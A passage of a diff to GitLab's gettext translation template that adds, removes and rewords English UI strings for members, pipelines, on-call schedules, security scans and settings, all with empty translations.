-msgid "Marks this %{noun} as Work In Progress."
+msgid "Marks this %{noun} as a draft."
msgstr ""
msgid "Marks this issue as a duplicate of %{duplicate_reference}."
@@ -16305,6 +16678,9 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
+msgid "Max 100,000 events"
+msgstr ""
+
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -16329,9 +16705,6 @@ msgstr ""
msgid "Max role"
msgstr ""
-msgid "Max size 15 MB"
-msgstr ""
-
msgid "MaxBuilds"
msgstr ""
@@ -16488,7 +16861,10 @@ msgstr ""
msgid "Members|%{time} by %{user}"
msgstr ""
-msgid "Members|%{userName} is currently a LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgid "Members|%{userName} is currently an LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgstr ""
+
+msgid "Members|2FA"
msgstr ""
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
@@ -16524,9 +16900,18 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Direct"
+msgstr ""
+
+msgid "Members|Disabled"
+msgstr ""
+
msgid "Members|Edit permissions"
msgstr ""
+msgid "Members|Enabled"
+msgstr ""
+
msgid "Members|Expiration date removed successfully."
msgstr ""
@@ -16536,12 +16921,21 @@ msgstr ""
msgid "Members|Expired"
msgstr ""
+msgid "Members|Filter members"
+msgstr ""
+
+msgid "Members|Inherited"
+msgstr ""
+
msgid "Members|LDAP override enabled."
msgstr ""
msgid "Members|Leave \"%{source}\""
msgstr ""
+msgid "Members|Membership"
+msgstr ""
+
msgid "Members|No expiration set"
msgstr ""
@@ -16560,6 +16954,9 @@ msgstr ""
msgid "Members|Role updated successfully."
msgstr ""
+msgid "Members|Search invited"
+msgstr ""
+
msgid "Members|in %{time}"
msgstr ""
@@ -16611,6 +17008,9 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge commit SHA"
+msgstr ""
+
msgid "Merge commit message"
msgstr ""
@@ -16662,6 +17062,9 @@ msgstr ""
msgid "Merge requests are read-only in a secondary Geo node"
msgstr ""
+msgid "Merge the branch and fix any conflicts that come up"
+msgstr ""
+
msgid "Merge when pipeline succeeds"
msgstr ""
@@ -17218,6 +17621,9 @@ msgstr ""
msgid "MilestoneCombobox|An error occurred while searching for milestones"
msgstr ""
+msgid "MilestoneCombobox|Group milestones"
+msgstr ""
+
msgid "MilestoneCombobox|Milestone"
msgstr ""
@@ -17323,6 +17729,9 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
+msgid "Milestones|No milestones found"
+msgstr ""
+
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -17356,12 +17765,6 @@ msgstr ""
msgid "Minimum interval in days"
msgstr ""
-msgid "Minimum length is %{minimum_password_length} characters"
-msgstr ""
-
-msgid "Minimum length is %{minimum_password_length} characters."
-msgstr ""
-
msgid "Minimum password length (number of characters)"
msgstr ""
@@ -17419,7 +17822,7 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
-msgid "MissingSSHKeyWarningLink|You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
msgid "ModalButton|Add projects"
@@ -17515,6 +17918,9 @@ msgstr ""
msgid "Move selection up"
msgstr ""
+msgid "Move test case"
+msgstr ""
+
msgid "Move this issue to another project."
msgstr ""
@@ -17642,6 +18048,9 @@ msgid_plural "NamespaceStorageSize|You have reached the free storage limit of %{
msgstr[0] ""
msgstr[1] ""
+msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To learn more about reducing storage capacity please visit our docs."
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -17675,6 +18084,9 @@ msgstr ""
msgid "Need help?"
msgstr ""
+msgid "Needs"
+msgstr ""
+
msgid "Needs attention"
msgstr ""
@@ -17900,7 +18312,7 @@ msgstr ""
msgid "New"
msgstr ""
-msgid "New %{display_issuable_type}"
+msgid "New %{issueType}"
msgstr ""
msgid "New Application"
@@ -18052,6 +18464,9 @@ msgstr ""
msgid "New response for issue #%{issue_iid}:"
msgstr ""
+msgid "New runner. Has not connected yet"
+msgstr ""
+
msgid "New runners registration token has been generated!"
msgstr ""
@@ -18157,9 +18572,6 @@ msgstr ""
msgid "No containers available"
msgstr ""
-msgid "No content to show"
-msgstr ""
-
msgid "No contributions"
msgstr ""
@@ -18343,9 +18755,6 @@ msgstr ""
msgid "No worries, you can still use all the %{strong}%{plan_name}%{strong_close} features for now. You have %{remaining_days} to renew your subscription."
msgstr ""
-msgid "No, directly import the existing email addresses and usernames."
-msgstr ""
-
msgid "No. of commits"
msgstr ""
@@ -18382,6 +18791,9 @@ msgstr ""
msgid "Not all data has been processed yet, the accuracy of the chart for the selected timeframe is limited."
msgstr ""
+msgid "Not applicable to personal namespaced projects, which are deleted immediately on request."
+msgstr ""
+
msgid "Not available"
msgstr ""
@@ -18400,6 +18812,9 @@ msgstr ""
msgid "Not found."
msgstr ""
+msgid "Not permitted to destroy framework"
+msgstr ""
+
msgid "Not ready yet. Try again later."
msgstr ""
@@ -18412,6 +18827,9 @@ msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
+msgid "Note that pushing to GitLab requires write access to this repository."
+msgstr ""
+
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -18451,6 +18869,9 @@ msgstr ""
msgid "Notes|This comment has changed since you started editing, please review the %{open_link}updated comment%{close_link} to ensure information is not lost"
msgstr ""
+msgid "Notes|You're only seeing %{boldStart}other activity%{boldEnd} in the feed. To add a comment, switch to one of the following options."
+msgstr ""
+
msgid "Nothing found…"
msgstr ""
@@ -18487,9 +18908,15 @@ msgstr ""
msgid "NotificationEvent|Fixed pipeline"
msgstr ""
+msgid "NotificationEvent|Issue due"
+msgstr ""
+
msgid "NotificationEvent|Merge merge request"
msgstr ""
+msgid "NotificationEvent|Moved project"
+msgstr ""
+
msgid "NotificationEvent|New epic"
msgstr ""
@@ -18505,6 +18932,9 @@ msgstr ""
msgid "NotificationEvent|New release"
msgstr ""
+msgid "NotificationEvent|Push to merge request"
+msgstr ""
+
msgid "NotificationEvent|Reassign issue"
msgstr ""
@@ -18514,6 +18944,9 @@ msgstr ""
msgid "NotificationEvent|Reopen issue"
msgstr ""
+msgid "NotificationEvent|Reopen merge request"
+msgstr ""
+
msgid "NotificationEvent|Successful pipeline"
msgstr ""
@@ -18640,6 +19073,33 @@ msgstr ""
msgid "On track"
msgstr ""
+msgid "On-call Schedules"
+msgstr ""
+
+msgid "On-call schedules"
+msgstr ""
+
+msgid "OnCallSchedules|Add a schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Create on-call schedules in GitLab"
+msgstr ""
+
+msgid "OnCallSchedules|Failed to add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Route alerts directly to specific members of your team"
+msgstr ""
+
+msgid "OnCallSchedules|Select timezone"
+msgstr ""
+
+msgid "OnCallSchedules|Sets the default timezone for the schedule, for all participants"
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -18655,9 +19115,6 @@ msgstr ""
msgid "OnDemandScans|Create a new site profile"
msgstr ""
-msgid "OnDemandScans|Create new DAST scan"
-msgstr ""
-
msgid "OnDemandScans|Manage profiles"
msgstr ""
@@ -18682,9 +19139,6 @@ msgstr ""
msgid "OnDemandScans|Scanner profile"
msgstr ""
-msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
-msgstr ""
-
msgid "OnDemandScans|Select one of the existing profiles"
msgstr ""
@@ -18697,6 +19151,12 @@ msgstr ""
msgid "OnDemandScans|Use existing site profile"
msgstr ""
+msgid "OnDemandScans|You can either choose a passive scan or validate the target site in your chosen site profile. %{docsLinkStart}Learn more about site validation.%{docsLinkEnd}"
+msgstr ""
+
+msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
+msgstr ""
+
msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
@@ -18706,7 +19166,7 @@ msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
msgstr ""
-msgid "Once removed, the fork relationship cannot be restored and you will no longer be able to send merge requests to the source."
+msgid "Once removed, the fork relationship cannot be restored. This project will no longer be able to receive or send merge requests to the source project or other forks."
msgstr ""
msgid "Once the exported file is ready, you will receive a notification email with a download link, or you can download it from this page."
@@ -18729,9 +19189,6 @@ msgstr ""
msgid "One or more of your %{provider} projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
msgstr ""
-msgid "One or more of your Google Code projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
-msgstr ""
-
msgid "One or more of your dependency files are not supported, and the dependency list may be incomplete. Below is a list of supported file types."
msgstr ""
@@ -18813,6 +19270,9 @@ msgstr ""
msgid "Open raw"
msgstr ""
+msgid "Open registration is enabled on your instance."
+msgstr ""
+
msgid "Open sidebar"
msgstr ""
@@ -18879,9 +19339,6 @@ msgstr ""
msgid "Optionally, you can %{link_to_customize} how FogBugz email addresses and usernames are imported into GitLab."
msgstr ""
-msgid "Optionally, you can %{link_to_customize} how Google Code email addresses and usernames are imported into GitLab."
-msgstr ""
-
msgid "Options"
msgstr ""
@@ -18927,6 +19384,9 @@ msgstr ""
msgid "Outdent"
msgstr ""
+msgid "Overall Activity"
+msgstr ""
+
msgid "Overridden"
msgstr ""
@@ -19083,6 +19543,9 @@ msgstr ""
msgid "PackageRegistry|For more information on the PyPi registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
+msgid "PackageRegistry|Generic"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -19197,6 +19660,9 @@ msgstr ""
msgid "PackageType|Conan"
msgstr ""
+msgid "PackageType|Generic"
+msgstr ""
+
msgid "PackageType|Maven"
msgstr ""
@@ -19221,9 +19687,6 @@ msgstr ""
msgid "Page settings"
msgstr ""
-msgid "Page was successfully deleted"
-msgstr ""
-
msgid "PagerDutySettings|Active"
msgstr ""
@@ -19488,6 +19951,9 @@ msgstr ""
msgid "Pipeline minutes quota"
msgstr ""
+msgid "Pipeline ran in fork of project"
+msgstr ""
+
msgid "Pipeline subscriptions"
msgstr ""
@@ -19596,9 +20062,6 @@ msgstr ""
msgid "Pipelines|CI Lint"
msgstr ""
-msgid "Pipelines|CI file could not be loaded: %{reason}"
-msgstr ""
-
msgid "Pipelines|Child pipeline"
msgstr ""
@@ -19644,6 +20107,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No CI file found in this repository, please add one."
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -19656,6 +20122,9 @@ msgstr ""
msgid "Pipelines|Project cache successfully reset."
msgstr ""
+msgid "Pipelines|Repository does not have a default branch, please set one."
+msgstr ""
+
msgid "Pipelines|Revoke"
msgstr ""
@@ -19665,6 +20134,12 @@ msgstr ""
msgid "Pipelines|Something went wrong while cleaning runners cache."
msgstr ""
+msgid "Pipelines|The CI configuration was not loaded, please try again."
+msgstr ""
+
+msgid "Pipelines|The GitLab CI configuration could not be updated."
+msgstr ""
+
msgid "Pipelines|There are currently no finished pipelines."
msgstr ""
@@ -19890,6 +20365,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your GitLab administrator if you think this is an error."
+msgstr ""
+
msgid "Please contact your administrator with any questions."
msgstr ""
@@ -19899,9 +20377,6 @@ msgstr ""
msgid "Please convert %{linkStart}them to Git%{linkEnd}, and go through the %{linkToImportFlow} again."
msgstr ""
-msgid "Please convert them to Git on Google Code, and go through the %{link_to_import_flow} again."
-msgstr ""
-
msgid "Please create a password for your new account."
msgstr ""
@@ -20064,18 +20539,12 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
-msgstr ""
-
msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
msgstr ""
-msgid "Preferences|Enable integrated code intelligence on code views"
-msgstr ""
-
msgid "Preferences|For example: 30 mins ago."
msgstr ""
@@ -20085,9 +20554,6 @@ msgstr ""
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
-msgid "Preferences|Integrations"
-msgstr ""
-
msgid "Preferences|Layout width"
msgstr ""
@@ -20109,9 +20575,6 @@ msgstr ""
msgid "Preferences|Show whitespace changes in diffs"
msgstr ""
-msgid "Preferences|Sourcegraph"
-msgstr ""
-
msgid "Preferences|Syntax highlighting theme"
msgstr ""
@@ -20166,6 +20629,9 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying merge request approvers list"
+msgstr ""
+
msgid "Prevent users from performing write operations on GitLab while performing maintenance."
msgstr ""
@@ -20295,6 +20761,24 @@ msgstr ""
msgid "Profile Settings"
msgstr ""
+msgid "ProfilePreferences|Customize integrations with third party services."
+msgstr ""
+
+msgid "ProfilePreferences|Enable Gitpod integration"
+msgstr ""
+
+msgid "ProfilePreferences|Enable integrated code intelligence on code views"
+msgstr ""
+
+msgid "ProfilePreferences|Gitpod"
+msgstr ""
+
+msgid "ProfilePreferences|Integrations"
+msgstr ""
+
+msgid "ProfilePreferences|Sourcegraph"
+msgstr ""
+
msgid "ProfileSession|on"
msgstr ""
@@ -20304,6 +20788,9 @@ msgstr ""
msgid "Profiles| You are going to change the username %{currentUsernameBold} to %{newUsernameBold}. Profile and projects will be redirected to the %{newUsername} namespace but this redirect will expire once the %{currentUsername} namespace is registered by another user or group. Please update your Git repository remotes as soon as possible."
msgstr ""
+msgid "Profiles|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "Profiles|%{provider} Active"
msgstr ""
@@ -20334,6 +20821,9 @@ msgstr ""
msgid "Profiles|Bio"
msgstr ""
+msgid "Profiles|Busy"
+msgstr ""
+
msgid "Profiles|Change username"
msgstr ""
@@ -20691,9 +21181,6 @@ msgstr ""
msgid "Project cannot be shared with the group it is in or one of its ancestors."
msgstr ""
-msgid "Project clone URL"
-msgstr ""
-
msgid "Project configuration, excluding integrations"
msgstr ""
@@ -20946,7 +21433,10 @@ msgstr ""
msgid "ProjectSettings|Enable 'Delete source branch' option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains and pipelines for merged results"
+msgid "ProjectSettings|Enable merge trains."
+msgstr ""
+
+msgid "ProjectSettings|Enable merged results pipelines."
msgstr ""
msgid "ProjectSettings|Encourage"
@@ -20988,6 +21478,9 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
+msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgstr ""
+
msgid "ProjectSettings|Internal"
msgstr ""
@@ -21048,9 +21541,6 @@ msgstr ""
msgid "ProjectSettings|Pipelines"
msgstr ""
-msgid "ProjectSettings|Pipelines for merge requests must be enabled in the CI/CD configuration file, or pipelines could be unresolvable or dropped"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
@@ -21072,6 +21562,12 @@ msgstr ""
msgid "ProjectSettings|Require"
msgstr ""
+msgid "ProjectSettings|Requirements"
+msgstr ""
+
+msgid "ProjectSettings|Requirements management system for this project"
+msgstr ""
+
msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
msgstr ""
@@ -21141,6 +21637,9 @@ msgstr ""
msgid "ProjectSettings|View and edit files in this project. Non-project members will only have read access"
msgstr ""
+msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgstr ""
+
msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
msgstr ""
@@ -21522,6 +22021,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote to epic"
+msgstr ""
+
msgid "Promote to group label"
msgstr ""
@@ -21837,6 +22339,9 @@ msgstr ""
msgid "Push project from command line"
msgstr ""
+msgid "Push the result of the merge to GitLab"
+msgstr ""
+
msgid "Push to create a project"
msgstr ""
@@ -21990,6 +22495,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redis"
+msgstr ""
+
msgid "Reduce project visibility"
msgstr ""
@@ -22073,9 +22581,6 @@ msgstr ""
msgid "Registry setup"
msgstr ""
-msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
-msgstr ""
-
msgid "Reindexing status"
msgstr ""
@@ -22150,6 +22655,9 @@ msgstr ""
msgid "ReleaseAssetLinkType|Runbooks"
msgstr ""
+msgid "Released date"
+msgstr ""
+
msgid "Releases"
msgstr ""
@@ -22177,9 +22685,6 @@ msgstr ""
msgid "Remediations"
msgstr ""
-msgid "Remember me"
-msgstr ""
-
msgid "Remind later"
msgstr ""
@@ -22384,9 +22889,6 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing integrations is not supported for this project"
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -22402,15 +22904,12 @@ msgstr ""
msgid "Reopen"
msgstr ""
-msgid "Reopen %{display_issuable_type}"
+msgid "Reopen %{issueType}"
msgstr ""
msgid "Reopen epic"
msgstr ""
-msgid "Reopen issue"
-msgstr ""
-
msgid "Reopen milestone"
msgstr ""
@@ -22489,6 +22988,14 @@ msgstr ""
msgid "Reports|%{combinedString} and %{resolvedString}"
msgstr ""
+msgid "Reports|%{recentlyFailed} out of %{failed} failed test has failed more than once in the last 14 days"
+msgstr ""
+
+msgid "Reports|%{recentlyFailed} out of %{failed} failed tests has failed more than once in the last 14 days"
+msgid_plural "Reports|%{recentlyFailed} out of %{failed} failed tests have failed more than once in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Reports|Accessibility scanning detected %d issue for the source branch only"
msgid_plural "Reports|Accessibility scanning detected %d issues for the source branch only"
msgstr[0] ""
@@ -22521,6 +23028,11 @@ msgstr ""
msgid "Reports|Execution time"
msgstr ""
+msgid "Reports|Failed %{count} time in %{base_branch} in the last 14 days"
+msgid_plural "Reports|Failed %{count} times in %{base_branch} in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Reports|Failure"
msgstr ""
@@ -22572,6 +23084,9 @@ msgstr ""
msgid "Repositories Analytics"
msgstr ""
+msgid "RepositoriesAnalytics|Average Coverage by Job"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -22602,12 +23117,18 @@ msgstr ""
msgid "RepositoriesAnalytics|Please select projects to display."
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Tests"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
msgid "RepositoriesAnalytics|There was an error fetching the projects."
msgstr ""
+msgid "RepositoriesAnalytics|Total Number of Coverages"
+msgstr ""
+
msgid "Repository"
msgstr ""
@@ -22635,6 +23156,9 @@ msgstr ""
msgid "Repository cleanup has started. You will receive an email once the cleanup operation is complete."
msgstr ""
+msgid "Repository clone URL"
+msgstr ""
+
msgid "Repository files count over the limit"
msgstr ""
@@ -22668,10 +23192,10 @@ msgstr ""
msgid "Repository storage"
msgstr ""
-msgid "Repository sync capacity"
+msgid "Repository synchronization concurrency limit"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -22789,12 +23313,18 @@ msgstr ""
msgid "Resend it"
msgstr ""
+msgid "Reset"
+msgstr ""
+
msgid "Reset authorization key"
msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset filters"
+msgstr ""
+
msgid "Reset health check access token"
msgstr ""
@@ -22921,6 +23451,9 @@ msgstr ""
msgid "Retry"
msgstr ""
+msgid "Retry job"
+msgstr ""
+
msgid "Retry this job"
msgstr ""
@@ -22959,6 +23492,9 @@ msgstr ""
msgid "Review requested from %{name}"
msgstr ""
+msgid "Review the changes locally"
+msgstr ""
+
msgid "Review the process for configuring service providers in your identity provider — in this case, GitLab is the \"service provider\" or \"relying party\"."
msgstr ""
@@ -22979,6 +23515,9 @@ msgstr[1] ""
msgid "Reviewer(s)"
msgstr ""
+msgid "Reviewers"
+msgstr ""
+
msgid "Reviewing"
msgstr ""
@@ -23048,6 +23587,9 @@ msgstr ""
msgid "Runner cannot be assigned to other projects"
msgstr ""
+msgid "Runner is %{status}, last contact was %{runner_contact} ago"
+msgstr ""
+
msgid "Runner runs jobs from all unassigned projects"
msgstr ""
@@ -23111,12 +23653,6 @@ msgstr ""
msgid "Runners|Description"
msgstr ""
-msgid "Runners|Download Latest Binary"
-msgstr ""
-
-msgid "Runners|Download and Install Binary"
-msgstr ""
-
msgid "Runners|Group"
msgstr ""
@@ -23144,9 +23680,6 @@ msgstr ""
msgid "Runners|Protected"
msgstr ""
-msgid "Runners|Register Runner"
-msgstr ""
-
msgid "Runners|Revision"
msgstr ""
@@ -23249,12 +23782,6 @@ msgstr ""
msgid "Save Push Rules"
msgstr ""
-msgid "Save and test payload"
-msgstr ""
-
-msgid "Save anyway"
-msgstr ""
-
msgid "Save application"
msgstr ""
@@ -23273,7 +23800,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find tags in the Container Registry more easily. Enable the cleanup policy to remove stale tags and keep only the ones you need."
+msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
msgstr ""
msgid "Saved scan settings and target site settings which are reusable."
@@ -23330,15 +23857,9 @@ msgstr ""
msgid "Scopes: %{scope_list}"
msgstr ""
-msgid "Score"
-msgstr ""
-
msgid "Scroll down"
msgstr ""
-msgid "Scroll down to %{strong_open}Google Code Project Hosting%{strong_close} and enable the switch on the right."
-msgstr ""
-
msgid "Scroll left"
msgstr ""
@@ -23441,6 +23962,9 @@ msgstr ""
msgid "Search projects..."
msgstr ""
+msgid "Search refs"
+msgstr ""
+
msgid "Search requirements"
msgstr ""
@@ -23480,9 +24004,6 @@ msgstr ""
msgid "SearchAutocomplete|in project %{projectName}"
msgstr ""
-msgid "SearchCodeResults|in"
-msgstr ""
-
msgid "SearchCodeResults|of %{link_to_project}"
msgstr ""
@@ -23562,6 +24083,9 @@ msgstr ""
msgid "Seat Link is disabled, and cannot be configured through this form."
msgstr ""
+msgid "SeatUsage|Seat usage"
+msgstr ""
+
msgid "Seats usage data as of %{last_enqueue_time} (Updated daily)"
msgstr ""
@@ -23748,6 +24272,9 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
+msgid "SecurityReports|Go to the %{linkStart}pipelines tab%{linkEnd} to download the security reports"
+msgstr ""
+
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -23912,6 +24439,12 @@ msgstr ""
msgid "See the affected projects in the GitLab admin panel"
msgstr ""
+msgid "See vulnerability %{vulnerability_link} for any Remediation details."
+msgstr ""
+
+msgid "See vulnerability %{vulnerability_link} for any Solution details."
+msgstr ""
+
msgid "See what's new at GitLab"
msgstr ""
@@ -24029,9 +24562,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select projects you want to import."
-msgstr ""
-
msgid "Select required regulatory standard"
msgstr ""
@@ -24374,12 +24904,6 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
-msgid "Set the number of concurrent requests this secondary node will make to the primary node while backfilling."
-msgstr ""
-
-msgid "Set the synchronization and verification capacity for the secondary node."
-msgstr ""
-
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -24422,21 +24946,30 @@ msgstr ""
msgid "Set up your project to automatically push and/or pull changes to/from another repository. Branches, tags, and commits will be synced automatically."
msgstr ""
+msgid "Set verification limit and frequency."
+msgstr ""
+
msgid "Set weight"
msgstr ""
msgid "Set weight to %{weight}."
msgstr ""
-msgid "Set what should be replicated by choosing specific projects or groups by the secondary node."
+msgid "Set what should be replicated by this secondary node."
msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr ""
+msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "SetStatusModal|Add status emoji"
msgstr ""
+msgid "SetStatusModal|Busy"
+msgstr ""
+
msgid "SetStatusModal|Clear status"
msgstr ""
@@ -24455,6 +24988,9 @@ msgstr ""
msgid "SetStatusModal|Sorry, we weren't able to set your status. Please try again later."
msgstr ""
+msgid "SetStatusModal|Status updated"
+msgstr ""
+
msgid "SetStatusModal|What's your status?"
msgstr ""
@@ -24551,9 +25087,6 @@ msgstr ""
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{b_start}will%{b_end} lose access to your account."
msgstr ""
-msgid "Show Runner installation instructions"
-msgstr ""
-
msgid "Show all activity"
msgstr ""
@@ -24608,13 +25141,16 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me everything"
+msgid "Show me advanced features"
msgstr ""
msgid "Show me how to add a pipeline"
msgstr ""
-msgid "Show me more advanced stuff"
+msgid "Show me the basics"
+msgstr ""
+
+msgid "Show one file at a time"
msgstr ""
msgid "Show only direct members"
@@ -24643,6 +25179,9 @@ msgid_plural "Showing %d events"
msgstr[0] ""
msgstr[1] ""
+msgid "Showing %{conflict_start}%{conflicts_text}%{strong_end} between %{ref_start}%{source_branch}%{strong_end} and %{ref_start}%{target_branch}%{strong_end}"
+msgstr ""
+
msgid "Showing %{count} of %{total} projects"
msgstr ""
@@ -24738,10 +25277,13 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
-msgid "SignUp|First Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
-msgid "SignUp|Last Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|Last name is too long (maximum is %{max_length} characters)."
+msgstr ""
+
+msgid "SignUp|Minimum length is %{minimum_password_length} characters."
msgstr ""
msgid "SignUp|Username is too long (maximum is %{max_length} characters)."
@@ -24792,6 +25334,9 @@ msgstr ""
msgid "Skipped"
msgstr ""
+msgid "Skipped deployment to"
+msgstr ""
+
msgid "Slack application"
msgstr ""
@@ -24903,9 +25448,6 @@ msgstr ""
msgid "Some of the designs you tried uploading did not change:"
msgstr ""
-msgid "Some of your epics may not be visible. A roadmap is limited to the first 1,000 epics, in your selected sort order."
-msgstr ""
-
msgid "Someone edited the issue at the same time you did. Please check out %{linkStart}the issue%{linkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
@@ -24951,7 +25493,7 @@ msgstr ""
msgid "Something went wrong while archiving a requirement."
msgstr ""
-msgid "Something went wrong while closing the %{issuable}. Please try again later"
+msgid "Something went wrong while closing the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while creating a requirement."
@@ -25032,10 +25574,13 @@ msgstr ""
msgid "Something went wrong while performing the action."
msgstr ""
+msgid "Something went wrong while promoting the issue to an epic. Please try again."
+msgstr ""
+
msgid "Something went wrong while reopening a requirement."
msgstr ""
-msgid "Something went wrong while reopening the %{issuable}. Please try again later"
+msgid "Something went wrong while reopening the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while resolving this discussion. Please try again."
@@ -25317,10 +25862,10 @@ msgstr ""
msgid "SourcegraphPreferences|This feature is experimental."
msgstr ""
-msgid "SourcegraphPreferences|Uses %{link_start}Sourcegraph.com%{link_end}."
+msgid "SourcegraphPreferences|Uses %{linkStart}Sourcegraph.com%{linkEnd}."
msgstr ""
-msgid "SourcegraphPreferences|Uses a custom %{link_start}Sourcegraph instance%{link_end}."
+msgid "SourcegraphPreferences|Uses a custom %{linkStart}Sourcegraph instance%{linkEnd}."
msgstr ""
msgid "Spam Logs"
@@ -25344,6 +25889,9 @@ msgstr ""
msgid "Specify the following URL during the Runner setup:"
msgstr ""
+msgid "Speed up your pipelines with Needs relationships"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -25461,9 +26009,6 @@ msgstr ""
msgid "Start thread & reopen %{noteable_name}"
msgstr ""
-msgid "Start using Directed Acyclic Graphs (DAG)"
-msgstr ""
-
msgid "Start your Free Gold Trial"
msgstr ""
@@ -25623,6 +26168,18 @@ msgstr ""
msgid "Stay updated about the performance and health of your environment by configuring Prometheus to monitor your deployments."
msgstr ""
+msgid "Step 1."
+msgstr ""
+
+msgid "Step 2."
+msgstr ""
+
+msgid "Step 3."
+msgstr ""
+
+msgid "Step 4."
+msgstr ""
+
